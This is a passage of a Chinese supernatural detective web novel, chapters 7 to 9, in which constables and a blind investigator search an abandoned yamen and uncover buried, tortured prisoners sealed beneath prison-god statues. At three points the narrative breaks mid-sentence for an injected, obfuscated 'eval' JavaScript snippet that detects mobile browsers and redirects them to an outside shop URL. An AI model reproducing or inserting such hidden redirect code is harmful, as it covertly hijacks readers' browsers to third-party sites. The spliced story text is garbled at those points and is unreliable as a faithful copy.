她额头磕破了,一直在往下滴血,猩红的血液洇进眼睛里,致使那只从长发中露出来的眼睛血红一片。 陆秉看愣了,自觉将音量降低,他觉得这丫头看上去有些疯:“你干什么?” 7.顺风耳 秦三的眼前仿佛蒙着一层红纱,看什么都透着一层血色,包括陆秉和他身后赶来的两名衙役。 她缓缓站起身,双手握紧菜刀指着对方,声音颤抖着:“别过来……” 刀尖在滴血,是那只乌鸦的血。 秦三又瘦又小,身子单薄如纸,缩起的肩膀也在止不住轻颤,却敢拿刀指着人高马大的陆秉威胁:“你别过来……” 陆秉脚步慢下来,却没有停:“小丫头别胡闹,大晚上什么地方都敢乱闯,快把刀放下跟我们回去。” 秦三怯懦地退后一步,双手却紧紧握住刀柄指向陆秉,因为对方那句“回去”狠狠扎痛了秦三,她朝夕间家破人亡,还能回到哪儿去?! 她如父的长兄刚刚死了,就死在她面前,还有二哥,秦三血红的双目逐渐狂乱…… “丫头。”陆秉朝她逼近,试图劝她放下菜刀。 秦三隔着几步之遥,倔犟的朝靠近自己的陆秉挥舞利刃:“走开,走开,别过来,她在这里!她就藏在这里!” 陆秉驻足,假装不知情:“谁在这里?” “那个女人!”她恨恨的,几乎咬牙切齿,再也叫不出一声二嫂,“那个女人,她就在这里!” 要不是知道她就是那个闯鬼衙门的秦三,这副鬼样子真的会把俩衙役吓尿,黑子有一说一:“不是,三更半夜的,这里除了我们根本没别人。” 另一位也劝:“是啊,我们白天已经进来搜查过了,孙绣娘根本不在这,可能是那些人看错了,胡说八道的,你快跟咱出去吧,这地方邪性得很。” “她在这里!”秦三情绪陡然激动,冲陆秉等人嘶吼起来,“我看见了,她杀了我二哥,我要杀了她,我一定要杀了她!” 陆秉沉声道:“案子还没查清楚,不能随意论罪,孙绣娘如果真的杀了人,官府自会……” 秦三完全被愤恨蚕食了理智,坚信就是孙绣娘砍死了至亲,根本听不进去陆秉所言,她摇着头退后:“我要杀了她,我要亲手杀了她,为我二哥报仇!” 也是在这一刻,陆秉看见她身后有一口井,脸色骤变,大喝道:“别退!” 秦三骇然瞪大眼。目睹陆秉突然朝自己抓扑过来,她尖叫着挥动菜刀,狠狠砍向陆秉伸来抓自己的胳膊,与此同时,她后脚跟嗑到井口石,整个人重心不稳地往后倒。 衙役惊呼着双双冲上前:“头儿!” 陆秉伸手就是挨刀,不伸那丫头便会栽进井里,他甚至来不及权衡,缩胳膊已经来不及了。 秦三看着一副弱不禁风的模样,但由于家境穷困潦倒,自小就做些担挑子劈柴的活计,所以这会儿发了狠,拿刀劈人一点儿不含糊,绝对攒了猛劲能断他骨头的。 陆秉心头大骇,皮肉被刀刃豁开了,掌心已经见了血。就在千钧一发之际,且听“砰”的一声脆响,一粒碎石击中刀背,菜刀偏弹出去,只在陆秉掌心拉了道细长的血口。 陆秉则一把拽住秦三的手腕,被下坠的重力带得往前扑,将他拖拽至井口,幸而俩衙役也没掉链子,左右抱住了陆秉的腰,齐心协力把秦三从井口拖了出来。 陆秉直接炸了,指着瘫软在地的秦三,恨不得一脚狠狠踹上去:“你要不是个女的,我保证揍不死你!” 差点削掉他半个手掌! 秦三肩膀一抖,把自己缩成一团。 陆秉盯着手里那道血口子,仍然心有余悸,侧头对无声无息走近的周雅人道了句谢:“谢了,要不是你手快及时,我今天非得残。” 周雅人一副无动于衷的模样:“明明看她拿刀指着你,你还敢伸手过去。” 陆秉火冒三丈:“我有病。”他抬着那只胳膊,恨“手”不争似的骂,“这手贱呗,非得去捞她一把,逞什么能,她就算掉井里也是她自找的,活腻歪了。” 周雅人被他的反应逗得勾了勾嘴角。 倒是旁边的衙役凑上前来,紧张道:“头儿,流血了,赶紧包扎一下吧。” 陆秉无差别攻击人:“屁大点儿伤包什么包,把她给我押回去,我非得治她个袭击官差的大罪。” “是。” 结果众人齐刷刷回过头,就见这丫头已经悄无声息的爬到一边,正伸手去捡那把砍了陆秉的凶器。 黑子抢先一步将菜刀一脚踢开:“你居然还想拿刀子行凶,简直罪加一等!” 陆秉简直脑仁疼,不耐烦的摆手说:“绑了绑了。” 黑子抽出麻绳躬身拿人,谁知迎面就是一板砖砸来,黑子反应迅速一躲身,结果板砖直接砸了他身后同僚的脚。 衙役呜呼哀嚎,抱着痛脚在原地金鸡独立。 陆秉没想到这丫头还敢反抗,不得不亲自上阵:“反了你了!” 三个大男人制不住一个十几岁的小丫头片子,传出去这张老脸还要不要了。 秦三起身就逃,慌不择路,却被青衣客挡住去路。秦三当然认得这身锦缎,他的腰间别着一支律管,坠了块成色上等且晶莹剔透的白玉,还有音色也温润:“别乱跑。” 秦三双腿定在原地,满脸是血的抬起头,一副不人不鬼的模样。 这个人昨夜跟她们共处一间破庙,喝过一口锅里的热粥,也在城外的危急关头救过她,秦三心中百感交集,哑着嗓子问:“你也是官府的人吗?” “对。”身后的陆秉回了她这句,将其反手一拧,黑子赶忙递上麻绳,陆秉套住其双腕,三下五除二绑了个死结。 秦三挣扎不休,眼泪混着鲜血滚出来:“放开我,你放开我,我要为我哥报仇!” 小丫头性子烈得很,满眼都是血海深仇,陆秉不是不同情她,本来还想凶她两句,但是看她这副模样实在可怜又凄惨,便收敛起几分凶相,缓和了语气:“县衙又不是没在查办这桩命案,那杀死秦二的凶手,我们一定会将其抓捕归案,但是你不能……” 秦三大吼:“杀人就该偿命!我要她偿命!” 杀人偿命天经地义,但就她这副刚烈性子,太急躁了,都不能容他把一句话说完,陆秉决定给她关几天冷静冷静,不然一准儿出去砍人,万一疯过头,误伤旁人怎么办?毕竟他就差点被这疯丫头劈掉半截手掌,活生生的实例。 陆秉把秦三扔给手下:“回吧。” 但是秦三死倔着不肯,在俩衙役的手底下大喊大嚷着挣扎:“你们不是来抓那个女人吗,为什么不抓,她就躲在这里,你们却要视若无睹放她逃走。” 陆秉很想说:我明明是来捉你的。 未等他开口,周雅人出声询问:“你看见了?” 秦三一个劲儿猛点头:“我看见了,我真的看见了,她就躲在那间黑屋子了,我还砍伤了她一只胳膊,但是让她跑了,我去追她,我刚刚就是去追她,她又藏起来了,不见了,我还没找到她,我一定要找到她……” 陆秉闻言蹙起眉,虽然觉得这丫头说话有点语无伦次,但又不像在胡言乱语,好似还有那么一星半点的可信度。 周雅人又问:“哪间屋子?” “那边,就在那边。”秦三被反绑了双手,没办法伸手去指,便转过脸朝着另一个方向。 “带我们过去瞧瞧。” 几人穿廊过院步入县衙内宅,来到秦三所说的那间东屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234080|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里头陈列着方桌椅凳、博古架、黄花梨四件柜以及拔步床,应是当年知县所居的卧房。 此间灰尘满布,所以能明显看出有人在这里活动过的痕迹,比如一旁的博古架上积了很厚一层灰,但桌案却有半面是干净的。 屋内弥漫着腐朽潮润的霉味,周雅人甚至嗅到空气中一股溢散开的血腥气,由于门窗完全敞开,阴风将那股腥气稀释得尤为寡淡。 衙役发现灯架中居然还剩下小半盏灯油,遂掏出火折子点燃。 室内瞬间亮堂起来,几把椅凳东倒西歪的横在中间,地上有脚印,有重物拖拽过的痕迹,有还未完全干涸的血点,也有早已干涸发褐的血痕。于是陆秉终于相信了秦三说的话,她方才在这间房里拿刀砍伤了孙绣娘,而这些新鲜的血点子应该就是刚刚滴落的。 “头儿,你来看。” 陆秉走到立柜的一角,黑子正用两根指头夹起一间脏兮兮的鹅黄色外袍,上头沾着泥灰和斑驳血迹,下摆扯烂了,袖子也撕掉半截儿。 黑子虽然嫌弃,但也拿在手里瞧得仔细:“这缎子好啊,看上去半新不旧的。” 另一个衙役用脚尖踢了踢地上的半个窝头:“这窝头也新鲜,看来那女人真躲在这儿。” 陆秉板着脸问:“所以你们白天是怎么搜查的,没发现这些东西吗?” 俩衙役脸色大变,慌忙解释:“不是啊头儿,我们……我们搜了,当时可能没注意的这么仔细,有些地方难免疏忽大意了……” 毕竟鬼衙门这种生人勿进的阴地,当年实打实的闹过鬼,谁敢进来久待,特别是某些阴暗的屋子或漆黑的角落,他们只敢站外面匆匆扫一眼,马马虎虎查完几间房就回去交差了。 陆秉非常清楚他们这帮人的尿性,刚准备开嗓,目光则注意到地上的两截拇指粗的麻绳,他蹲下身拾起来瞧,麻绳显然是被旁边那块略尖的石头一点一点磨断的,因为石头上还有崭新的磨痕。 陆秉心中顿时起疑:难道这里绑过什么人吗? 那么之前那个卖瓜的老农说半月前听见鬼衙门里传出过惨叫,很有可能是这个被挟持的人。 他眼皮一抬,觑着黑子手里那件鹅黄锻袍,猛地想起什么,问:“之前沈老爷上衙门来报说沈大公子失踪月余,当时他说那沈大公子穿的什么颜色的衣服来着?” 俩衙役蓦地一怔,脖子缓缓扭转,齐齐瞪着那件袍子。 黑子愣愣张口:“鹅黄色。” 另一名衙役迟疑道:“不会吧?” 周雅人听着他们三人的对话,立刻就猜了个大概,甚至联想到方才在秦家时,有个围观的百姓说过这样一句话:“这小媳妇不安于室,野了心,攀上了沈家大少爷。” 而沈家大少爷失踪月余,陆秉等人几乎把北屈县里里外外找遍了都没寻到人,却在这里发现了疑似沈家大少爷失踪时穿的外袍。 这么巧孙绣娘也藏匿在此处…… 陆秉俨然也将此二人联系到了一起,他神色一凛,命令黑子将外袍收好,一会儿拿出去让沈家确认。 黑子忍不住推测:“难道说,那沈大公子是被人绑在这里吗?” 怪不得他们找死了都找不到人,因为谁也没想过来这处令人退避三舍的鬼衙门找啊。 另一个衙役接着问:“被谁绑的?不会是那个孙绣娘吧?” “是不是她,抓起来问问不就知道了。”陆秉沉着脸道,“搜。” 陆秉说完,周雅人敏锐的耳力便捕捉到远处一丝细碎的声响,当即判断出方位:“西南方向有动静。” 陆秉道:“不愧是顺风耳。” 8.狱神像 周雅人所指的西南方位正是县狱之地。 按照礼制,且从县衙营造的风水格局上讲,西南属坤,乃纯阴之方,鬼门置西侧供死囚通行,而鬼门之侧的西南之地理当为衙署狱地。 狱牢门头上嵌雕着一只虎视眈眈的神兽——狴犴。 传说龙生九子,四曰狴犴,它平生好讼,似虎有威力,故立于狱门,所以也俗称此为虎头牢。 在衙署当差的各位对狱门上的兽头应该是见怪不怪习以为常的,但在鬼衙门这种地方却另当别论,那狴犴双目怒瞪,龇着满口獠牙,让底下那道黑洞的狱门像极了一张吞骨吃人的兽口,即凶悍又狰狞。 因此当他们迈入“兽口”时,心里没来由一阵发毛,壮着胆子绷紧神经,突然听得秦三一声惊呼,惹得全员警戒四顾,却并未发现周围有何异动。 陆秉转头看向秦三:“怎么回事?” 秦三一脸惊恐的盯着前方:“那里……那里有人……” 那里建有一方小亭子,亭中塑着一尊青面神像,静立在狱墙下,在黑暗中像一个伫立不动的人影,很有几分诡异之感。 周雅人偏头:“什么人?” “哪里是人,一座狱神像而已,你大惊小怪干什么?!”吓死他了,黑子忍不住凶秦三,“没见过吗,别给我一惊一乍的,不然堵上你的嘴。” 秦三披头散发,还满脸是血,堪比一只死不瞑目的女鬼,当她转头盯住黑子时,那鬼样子比供奉在神龛中的“青面圣者”还吓人。 黑子狠狠吞了口唾沫。 秦三幽幽道:“我又没进过大牢,怎么会见过狱神。” 闻言周雅人脚下一顿,垂在身侧的手指无意识曲了一下。的确,狱神供奉在狱中,可能只有来过大牢的人才有机会瞻仰狱神像。 他垂着眉眼听黑子嘀咕了两句,经过两排狭窄逼仄的囚室,都是用青砖独辟出来的小格间,专门用来关押罪名较轻的普通犯人。 陆秉等人一间一间搜查到尽头,牢房空置,并没发现孙绣娘的身影,不知道这人躲藏到了哪里。 但是转角有条下沉的斜坡窄道,通向不见天光的黑暗深处,这里是地牢,也是死牢,专门关押重刑犯或者死刑犯的地方,里头不能用阴暗来形容,完全是种伸手不见五指的黑。 陆秉提灯打头阵,走过长长的窄道,照亮了黑洞洞的死牢入口,四周明明没有风,陆秉却觉得后脖子突然凉飕飕的,耳背的汗毛毫无征兆的站立起来,阴冷之感瞬间贯穿了全身。 当然此刻感觉后脖子凉飕的不止他一个,后头的几人不约而同噤了声,连呼吸都比往常轻缓,纷纷揣着一副大气不敢喘的小心谨慎。 下沉式牢洞的入口非常狭窄低矮,几乎只到陆秉的肋下,他必须弓下身子进去,不忘嘱咐周雅人低头弯腰。 死牢中有股很难形容的怪味扑鼻而来,夹着一股子异常陈旧的,腐败带腥的臭,越往里走,味道越重。 几人纷纷抬手掩了掩口鼻,陆秉蹙眉:“这味儿也太让人窒息了。” 里头是用木栏围成的隔间,有些牢门是打开的,有些则依然缠着铁链锁着,里头铺着乱七八糟的稻草,几乎与烂泥混在一起。 地上很潮湿,踩上去的土质甚至有些松软,就像被水泡胀了。实则也正是如此,这死牢地势低洼,常年被雨水蓄聚浸泡,导致土里长青苔,木头发霉,铁锁生锈,阴冷潮湿中散发出一股恶臭。 那股阴冷潮气扑在身上,迅速分食了他们自身的体热,这一路越走越冷,给人一种身处冰窖的错觉。 正当这时,他们听见了一点细微的声响——咔嚓咔嚓,若有似无。 所有人竖起耳朵屏住了呼吸。 那声音——咔嚓,咔嚓。 就在灯火照不见的黑暗中——咔嚓咔嚓。 俩衙役押着被绑的秦三,突然僵硬着身子不敢动了,因为那一下一下的咔嚓声,越听越像嚼骨头的声音。 陆秉也顿住了。 “我过去。”周雅人声音压得很轻很轻,径直越过陆秉往前走,步子迈得悄无声息。 陆秉没来得及拦住错身而过的人,大跨几步跟上去,最后落脚点不知踩到了什么,且听咯吱一响,前方那咔嚓咔嚓的动静跟着一个停顿。 陆秉心想糟糕,打草惊蛇了,顿时不管不顾,想先发制人:“孙绣娘!” 只见黑暗深处突然亮起两颗豆大的鬼火,绿油油的,陆秉猛地一怔,立刻反应过来那是对猫眼。 这对猫眼迸射出阴冷的绿光,透着股鬼气森森的狠厉,对视间,就像一双死人眼睛在盯着自己,叫陆秉浑身发怵。更让人惊悚的是,由于此刻的陆秉往前大跨了几步,手里的灯笼正好照见黑猫,只见它嘴里叼着人的半截手掌,身下是扒开的潮湿的黑泥,猫爪正踩在一颗骷髅头骨上…… 陆秉瞪圆了眼睛,有种见鬼了的惊恐。 “它它它它它……”黑子吓结巴了。 “吃吃吃吃吃……”另一位也结巴了。 俩结巴其实想说:“它在土里刨死人吃。” 秦三也被此情此景吓得一动不敢动。 野猫怒目狠瞪着几人,全身炸了毛,凶神恶煞地张开大口,发出一声悚人的猫叫,嘴里叼的那根骨头“啪”一下,掉在了地上。 陆秉忍不住开口:“这小畜生不会是那传说中的猫妖吧?!” “猫妖?”周雅人盯着那双冒绿光的猫眼评价,“倒是有几分贴切。” 周雅人往前进了一步,他能看见的东西,即便不是阴物,也跟阴物融得八九不离十了。他之前看见那双绿眼时就有些许猜测:“这只猫应该一直待在此地,常年刨食死尸,因此裹了浓重的尸气,眼珠子才会带煞发绿。” “还真是……”陆秉心头唏嘘,跟着也倒抽了一口凉气,从对方的话语里挖出几个关键词:“一直?常年?你是说……”陆秉咕咚咽了口唾沫星子,“可这是衙门啊,又不是坟场,哪里会有死人给它吃?!” 可那只猫此刻不是正在吃么? 陆秉哑了声,正常情况下,官衙里怎么会有死尸?哪里来的死尸?即便废置的也不该有死人吧?就算退一万步讲,死牢也许会有一具两具当年没清理出去的,但要给这只野猫常年吃,那就不可能只是一具两具死尸了。 陆秉心头一阵发紧,转头看向那只异常邪性的野猫,在周雅人迈步靠近它时,野猫霍地亮出尖利的爪子,耸高后背,如一柄崩到极致的弓。 周雅人再进一步,这距离仿佛侵犯到了它的安全领地,野猫乍然跃起,利爪在空中划过一道锋利的弧度,猛扑向周雅人。 且听“滋啦”一声,利爪狠挠在那根抬起的盲杖上,挠出令人牙酸的尖鸣,竹杖破开了几道口子。 野猫一击不中,喵呜一声,獠牙便朝他的咽喉撕咬过去,快如雷霆。周雅人不退不避,只在瞬息间抬起手,长指精准无误地扼住野猫细伶伶的咽喉,只需要一使力,这只猫就会在他手中掐断气。但周雅人迟疑了一瞬,因为恰巧对上了野猫那双凶戾的眼睛,鬼火一样灼眼,他一个瞎子居然会觉得灼眼,周雅人的视线避了一下。 应该是戾气刺目吧? 野猫在他耳边惨叫一声,便趁这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245452|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松动的间隙在他手背上狠狠一挠,随即挣开钳制,从他手中闪电般窜出去,蹬了一脚木棍围成的牢门,又把站在几步外黑子的脑袋瓜当了一回垫脚石。 黑子嗷一嗓子,挥起胳膊乱抓驱赶,但是野猫已经飞檐走壁般窜进了暗中,一根猫毛都没给他抓到。 “小畜生。”隐隐刺痛的脖颈让陆秉还记得跟它有一爪之仇,提刀便要去追,被周雅人拦了一下,“别追了,那不是只寻常的野猫。” 那野猫体型小,甚会钻营,行动敏捷迅速,陆秉不一定追得上,还可能会被它带入危险之中。 陆秉感觉周身的血液都冷却了,那畜生嚼死人骨头的:“不会真成精了吧?” 周雅人没做回应,反倒转了话题问:“你刚才踩到什么了?” 陆秉顺着他的话低下头去,看到脚下一根人骨时浑身一个激灵蹿起来,迅猛弹开,后背狠狠抵在了牢门上,撞得木栏发出闷响。他还没叫呢,两位贴心的下属就帮他嚷嚷开了,且听此起彼伏的几声: “娘欸……” “爹欸……” “三舅姥爷欸……” “我的狱神爷爷欸……” 黑子听到狱神爷爷这个词,突然抓到一丝来自神灵的慰藉,这里不就是狱神管辖吗,顿时也跟着对方念:“狱神爷爷保佑啊……” 他念到一半转头时,真的看见自己的小伙伴正搂着一尊狱神像:“狱……狱……狱神爷爷……怎么在这里?” 那位小伙伴估计还没反应过来他搂了个神,转头问:“在哪……哪……哪里?” 黑子颤巍巍指了指他怀中:“你……你……你抱着啊。” “我……我……我抱着吗?”他怔怔愣愣回过头,往自己怀中一瞧,瑟瑟发抖的对上那张铁青着脸的神像,差点哭了。 真的是狱神爷爷啊,他说他怎么就顺嘴喊出来了呢,敢情是自己亲眼看到了。 黑子道:“不……不……不对啊。” “哪……哪……哪里不对?” 这俩结巴可能是不会好了。 “狱……狱……狱神爷爷怎么会在这里?” “是……是啊?”衙役也有些疑惑,“狱神爷爷不是应该在……在外头的狱神庙里供着吗?” “对……对啊……刚才就是在外面供着啊?” “难……难不成是……狱神爷爷显灵了?” 听着二人颤颤巍巍的对话,陆秉强行调整好自己疯狂蹦跶的心跳,不再上下乱震了。 按理说,陆秉在衙门里当差这么多年,也算办过几桩不大不小的命案,尸体不是没见过,胆子也不该这么小,见到人骨就心脏狂跳,还一蹦三丈高,一点都不爷们儿。但也许是因为此地点实在特殊,这鬼衙门总能将人的恐惧和惊慌无限放大。 在几人惊恐万状之际,周雅人移到墙边,在青砖上摸索了一会儿,指尖慢慢触到壁上的神龛,就要摸到神像时,原本搂住神像的衙役这才反应过来撒开手,然后双手合十拜了拜,嘴里低喃道:“狱神爷爷别见怪……” 但是衙役刚才扑上去的那一搂,直接将狱神像撞偏挪了半寸,然后周雅人看到脚下洒着若隐若现的一些银灰。 他蹲下身捻了一点泥土在指尖搓开,然后举到鼻下嗅了嗅:“土里掺了符灰。” 陆秉赶紧蹲过去:“什么意思?” “陆秉,”周雅人抬起头,“劳烦你们翻一下这里的土。” 另外俩衙役听得一愣:“什么?”“翻土?” “嗯,”周雅人说,“很显然,土内藏骸,就是不知道藏了多少。” 9.死囚洞 死牢里还存放着不少给犯人动刑的刑具,陆秉在木架子上抽了柄生锈的铲子随便一翻,轻易就从浅层的泥里翻出来一把白骨。 俩衙役也拎着铁锹在周雅人的指使下,分别挑了两处关押犯人的牢房挖,不出所料的挖出了一堆尸骨,甚至有些身上还戴着镣铐。 黑子仰头看着周雅人:“这些人居然——还戴着镣铐。” 陆秉扔掉铲子,提着灯笼蹲下身,仔细辨别那些伤痕累累的死人骨头:“这人指关节变形,小腿骨折断裂;这人胸骨被铁钉刺穿,尾椎脊骨碎裂,应该是……”陆秉一一看过去,斟酌着判断,“……应该是生前遭受过酷刑。” 黑子的脸色一下子白了:“酷刑?” 狱中自有一些令人闻风丧胆的残酷手段,在死牢里遭受严刑拷打其实并不稀奇,他们在衙门当差见的也不少,只不过——看见埋在死牢底下的这堆骸骨却让人遍体生寒。 衙役盯着浅坑里的一堆骨头,抓铁锹的双手不由自主有些抖:“所以这些人,都是曾经被关押在此的囚犯么?” 没有人能确切地回答他这个问题,但也都知道答案八九不离十。 周雅人略一沉吟:“死于刑杀么?” 听到刑杀这个词,陆秉嘴唇动了动,迟疑道:“应该吧。” 周雅人似乎了然地点了点头:“怪不得这里怨气这么重。” 衙役瞪大眼睛:“什么怨气?” 周雅人不多解释,只是关切地问了他一句:“有没有觉得这里很冷。” 俩衙役身体力行地打了个冷颤,真的很冷,就连骨头缝里都在滲凉风儿。 可能是心理作用,也可能不是,后脖颈再次阴飕飕的,黑子整个人僵成一副棺材板,不敢回头,只有眼珠子乱转几圈,又蓦地转停,视线定格在阴暗的高墙上的壁龛中,他突然又结巴了:“狱……狱……狱神爷……” 陆秉抬头看去。 又一尊狱神像,在阴暗潮湿的地下死牢中静盯住他们。 “怎么会……”陆秉难以置信,“死牢内怎么会供着狱神,而且供了两尊?” 一般情况下,县狱内就在狱门内的一侧会供一座狱神庙,不会把狱神像直接搬进囚室来。 结果周雅人问:“还有么?” 这一问不要紧,陆秉打着灯笼在死牢内绕行一圈,居然在四面八方数出了:“七,七尊狱神像。” 因为震惊,他报数的时候甚至磕巴了一下。 周雅人盯着地上的银灰,整一片都用符灰散过的,再加上八方神像:“显然是个阵法。” 陆秉:“什么阵法?” 黑子:“是当年那些道长布下的吗?” 衙役:“所以当年衙门闹鬼敲鸣冤鼓那次……并……并没有那么简单对吗?” 当然没那么简单,当年闹了那么大一场,北屈县人心惶惶,请了人祖庙的老道压不住,又去请了太行道掌教亲临,事后却没任何一方道出前因后果给百姓一个交代,想必背后的真相是不可公之于众的,比如,死牢里埋葬了无数死于刑杀的人。 这种对于官衙非常不利的消息绝对不能被捅出去,所以道长和官府便把此事隐瞒了下来。 周雅人道:“这些人死于刑杀,必然魂骸不宁,若又是含冤而亡,更加怨气深重,这七尊狱神像,便是为了镇压住封埋在此的冤魂。” 几人纷纷张大嘴,盯着周雅人,且听他继续说:“这其实是一座刑徒墓,算一处大型阴宅吧,地下冤气这么重,而上头却在开衙升堂,自然办不好阳世间的冤案,早晚出事。” 衙役听着狠狠打了个哆嗦。 周雅人多问了一嘴:“你们在县衙当差,不知情吗?” 他们在如今的县衙当差,又不在鬼衙门当差,三人立刻摆手否认,头摇得跟拨浪鼓似的,一副绝不知情的模样。 的确,事发于十多年前,他们几个恐怕还张着满嘴豁口连牙都没长齐全,也是被蒙在鼓里的那拨人,即便后来入衙门当差,也不可能再把尘封的绝密旧案摊出来,知情的人越少越保险,不然消息一经泄漏,早就人尽皆知了。 “如今还有在县衙里资历比较久的知情者吗?” 三人依旧摇头,摇到最后皆有些茫然疑惑,纷纷开始琢磨在县衙办差最久的人都有谁? 知情者——周雅人脑子里反复闪过这三个字,长眉微微拢起,因为他想起脚夫在破庙中曾提到过:“突然一天半夜,县太爷和几名衙役都在县衙的公堂上悬了梁。 之后朝廷又指派新的县官来北屈赴任,但是走马上任没几天,某日刚断完一桩命案,退堂鼓敲完三下,县老爷从太师椅上站起身,还没走出去几步路,就莫名其妙摔了个倒仰……后脑勺一猛子磕在三尺法桌的桌角,人当场就没了。 再来就是第三任县太爷,判案后直接被公堂上那块‘明镜高悬’的匾额给砸得一命呜呼……接连死了三任县太爷啊,谁还敢不信邪……” 这些人接二连三丧命,死的都很突然,突然到诡异又邪门儿。 周雅人斟酌着跟陆秉和俩衙役确认此事,当年县衙是否真的死过这么多官差,而不是那脚夫添油加醋的编撰,待得到三人点头证实,周雅人下意识生出个大胆的猜测。 他说:“有没有可能,那些知情者有的悬了梁、有的不小心撞到公案、或不幸被匾额砸中,都已经死了?” 他梳理着开口,语速缓慢低沉,却听得众人一阵毛骨悚然。 “雅、雅人……”陆秉双眼发直地盯着他,“你别吓唬我,现在我也是知情者了。” 俩衙役也快哭了:“我……我们也是……” 秦三则在他们开挖尸骨的时候就缩在阴暗的角落里瑟瑟发抖,听完这席话,双目惊恐地瞪着周雅人的侧脸。 周雅人意识到自己失言,立刻道:“我只是随口一说,没什么依据。” 陆秉等人却被他随口一说吓得不轻,脸都白了:“你别瞎说,要有依据那我们不全都完犊子了。” 周雅人:“……” 其实也不是全无依据,但还是想宽一宽陆秉和这帮人的心:“来镇邪的那些道士不是都安然无恙么。” 黑子自作聪明道:“你也说他们是道士了,道士当然有驱邪保命的法子啊。” 另一衙役跟着点头如捣蒜:“对呀,他们有能耐封了这所鬼衙门,当然有法子保命,我们出去是不是也要上山求个保命符啊?” “你说得对,要求要求,去人祖庙还是太行道?最好再让道长给咱做场法事。万一呢,这地儿埋了这么多死人,现在已经见过咱们了,万一要找咱们索命的话,还不一找一个准儿,”黑子说完还转头寻求陆秉的赞同,“是不是头儿。” 陆秉:“……”是你个头啊是。 衙役还在琢磨:“人祖庙离得近,但是庙宇比较小,道长的水平嘛,肯定跟太行道没法比,但是去太行道的路途有点远……” 周雅人没想到这些人这么能逻辑自洽,自己把自己说信了,他忍不住提个意见:“还是去太行吧。” 衙役表示赞同:“我也觉得去太行道比较靠谱,那里的道长都有大神通,找他们我心里踏实一些。” 陆秉惊讶地看向周雅人:“你真让他们去啊?” “嗯。”周雅人颔首,“既然起了疑心,可以去求个心理安慰。” 免得小年轻日后总想起这茬,成天疑神疑鬼,提心吊胆,那日子还过不过了。 陆秉足足瞪了他半分钟,急了:“疑什么疑心,还不都是因为你说什么知情者上吊的上吊,撞桌子地撞桌子,基本都死了,张口就来这么一句,给我们吓完了,到底最后会不会落这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14254321|151270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么个死路一条的下场你能不能给个准话啊,完了我也得上那人祖山和太行道都走上一遭。” 周雅人挺无奈地叹了口气:“没准儿的事儿,我也就随口那么一说,你们先别当真,查查具体怎么回事吧。” 陆秉盯了他须臾:“所以刚才那话,你不是认真的?” 周雅人:“……” 他不是说没准儿吗? 没准儿! 就是不一定! 就是一切皆有可能! 陆秉:“……” 陆秉无声地跟他大眼瞪小眼了一会儿,又反应过来对方是个睁眼瞎,跟他干瞪眼根本没意思,心里瞬间拔凉拔凉的。 周雅人提醒他:“一般情况下,你们会怎么处理那些死在狱中的人?” “什么叫我们会怎么处……”陆秉蓦地一震,霍地反应过来,“我们会,不是,狱卒会把那些横死狱中的人从死囚洞里拖出去……” 周雅人眉梢轻挑了一下,呢喃似的重复了这个词:“死囚洞。” “嗯,就是在刚才进来狱门那个位置,狱神庙的旁边有个死囚洞,专门用来……” 未等陆秉说完,周雅人轻声打断:“我知道。” 他知道死囚洞意味着什么,牢狱这种地方,每年都有许多囚犯病死,饿死,或受不住酷刑被活活折磨致死。 就是人们所谓的让你竖着进来,横着出去。 但是多数人不知道,横着的尸体是不能从县衙大门送出去的,只能从那口死囚洞拖拽出去,有亲人的死者,家属会候在死囚洞外,把尸体领回去安葬,无亲无故的则会被随意扔弃到城外的乱葬岗草草掩埋,因为埋得太浅,还可能被野狗刨出来啃咬,被乌鸦啄食。 陆秉道:“反正无论狱卒怎么处理,都不可能直接将囚犯的尸体埋在县衙的死牢里。”就算不小心弄死了不该弄死的犯人,也都会悄无声息地拖出衙门处理掉,不至于让这些人烂在狱中发臭,毕竟狱卒天天在衙门里当差,地下却埋满了尸骨,谁也没有那么过硬的心理素质吧。 那么问题来了,周雅人问:“会是谁,又出于什么样的目的,将这些囚徒埋在这里呢?” “什么目的?”陆秉听不太明白,“什么什么目的?你不会认为,他们——这些是被人故意埋在这里的吧?” “县狱成了囚犯的坟茔,才会导致县衙变成鬼衙门。”二者是必然关系,周雅人很难不怀疑,也许太行道知道内情,他是否有必要修书一封询问一二? 黑子突然指着土坑开口:“那是什么?” 引得大家垂头看去,陆秉蹲下身,用铲子的尖角在他所指的骨骸中刨了刨,挑出来一枚颜色发绿的铜币。 黑子:“铜钱?” “怎么好像不是我们大端的铜钱?”陆秉欺近了瞧,铜钱圆形方孔,表面覆了一层斑驳的绿锈,他仔细辨认刻印在铜币上的小篆,“半、两。” 